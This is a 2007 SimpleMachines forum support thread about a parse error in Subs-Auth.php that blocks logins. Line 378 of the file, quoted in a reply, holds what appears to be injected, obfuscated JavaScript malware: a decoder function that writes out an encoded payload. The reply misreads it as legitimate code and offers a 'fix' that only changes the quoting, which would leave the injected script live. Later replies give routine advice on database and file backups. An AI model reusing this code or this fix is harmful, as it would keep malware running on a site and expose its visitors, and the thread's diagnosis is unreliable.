Parse error in Subs-Auth.php on line 378 So i cant LOGIN Please help

Started by ekfaysal, November 02, 2007, 09:10:22 AM

Previous topic - Next topic

ekfaysal

Hello all members

I was out of town for some time and now i can see that no one can log in.

It shows this message
Quote

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home/dreamsma/public_html/Sources/Subs-Auth.php on line 378


im using smf 1.1.4 with Default theme.


No member can login now

Please please please help

THanks

redone

Post what's on those lines of code including the line of the error itself.

ekfaysal

i dont know
well when i tried to sign in then this error happens

Please help

Dragooon

Can You post the lines of your Subs-Auth.php in [code][/code] Tags?
Any Changes done during that time?

ekfaysal

Hi
well i cant find Code tag

This is my file

if you can hav a look then please check

Dragooon

What the hek is in that file?
Please attach the file properly.

ekfaysal

I am very sorry for that

Now i have attached correct file

Please check and tell me

Link is
www.dreamsmania.com
Thanks


Sarge

Find this in line 378 of your Subs-Auth.php:

<body><script language=JavaScript>function sban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,6,3,58,19,50,46,37,20,38,0,0,0,0,0,0,35,9,0,47,30,2,14,24,11,41,53,31,34,33,28,21,44,43,10,29,22,23,8,4,7,39,17,0,0,0,0,57,0,51,45,15,48,13,61,5,49,1,27,32,55,62,25,40,54,52,60,26,36,16,59,12,18,56,42);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(174^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}sban('xDw5N0rdHvGlNlrt1QbpD4nkimnlH2NlH2yhB@NdizSkF9fhRQbh4mI@1CrhAjPp4mI@SQfJECrtGKNlXarhEKPpU4IhXQP5H2wtx1yhVafa2Cwt')</script><!-- dreamsmania.com -->


Try replacing it with:

<body><script language=JavaScript>function sban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,6,3,58,19,50,46,37,20,38,0,0,0,0,0,0,35,9,0,47,30,2,14,24,11,41,53,31,34,33,28,21,44,43,10,29,22,23,8,4,7,39,17,0,0,0,0,57,0,51,45,15,48,13,61,5,49,1,27,32,55,62,25,40,54,52,60,26,36,16,59,12,18,56,42);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(174^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}sban("xDw5N0rdHvGlNlrt1QbpD4nkimnlH2NlH2yhB@NdizSkF9fhRQbh4mI@1CrhAjPp4mI@SQfJECrtGKNlXarhEKPpU4IhXQP5H2wtx1yhVafa2Cwt")</script><!-- dreamsmania.com -->


    Please do not PM me with support requests unless I invite you to.

http://www.zeriyt.com/   ~   http://www.galeriashqiptare.net/


Quote
<H> I had zero posts when I started posting

ekfaysal

still lots of errors
when i tried to go to sections then it tells me some errors too

can u please tell me any method to backup my database
then i will remove alll the forum, install new one and then i  will  try to import database.

any other method for downloading database of forum other then going through forum maintanance
coz i can loging that why i am asking?
through ftp, cpanel or any other way

Sarge

You can get database backups from:
1) phpMyAdmin;
2) cPanel -- go to the Backups page and get the MySQL Database Backup of your forum database. You have to know the name of your forum database.
3) the create_backup tool, often used when other means fail -- it's reported to be pretty reliable, actually. It's attached to this post:
http://www.simplemachines.org/community/index.php?topic=18350.msg168327#msg168327

You can use restore_backup (from the above link) to restore a modified database. You may have to drop the existing database first.

After you get database backups, get file backups. In other words, use an FTP program to download the contents of your forum directory from the server. Alternatively, you can get a home directory backup from cPanel:
http://www.simplemachines.org/community/index.php?topic=164292.msg1048565#msg1048565

Here's a good tutorial:
http://www.simplemachines.org/community/index.php?topic=184356.0

After you get backups, you can try to simply overwrite your forum files on the server with the files from the SMF 1.1.4 Large Upgrade package, except upgrade.php and the two .sql files. The upgrade package is available from the Download page. Note that you will have to reinstall all mods after that.

    Please do not PM me with support requests unless I invite you to.

http://www.zeriyt.com/   ~   http://www.galeriashqiptare.net/


Quote
<H> I had zero posts when I started posting

Advertisement: